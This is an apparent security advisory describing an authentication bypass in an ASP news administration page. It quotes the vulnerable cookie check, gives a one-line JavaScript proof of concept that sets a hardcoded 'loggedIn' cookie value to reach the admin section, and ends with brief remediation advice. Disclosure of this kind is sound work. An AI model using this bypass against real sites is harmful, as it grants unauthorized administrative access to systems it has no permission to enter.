+-->Insecure Cookie Handling

Because of improper access restriction to the administration section,  
It is possible to bypass the authentication mechanism and gain access  
to the

administration section by setting the "loggedIn" cookie to "xY1zZoPQ"



Code Snippet:
/newsadmin.asp #line:73-101

if pageView="login" THEN
' Nothing
ELSE

if (Request.Cookies("loggedIn")="") OR  
(Request.Cookies("loggedIn")<>"xY1zZoPQ") THEN
%>
<p><div align="center">
.
.
.
<%
ELSE
%>
<%if pageView="" THEN

' The User is logged in with permission
' to view the admin section so we
' display the article list and
' options menu

####################
- POC:
####################

javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/"

####################
- Solution:
####################

Restrict and grant only trusted users access to the resources. Edit  
the source code to ensure that inputs are properly sanitized.
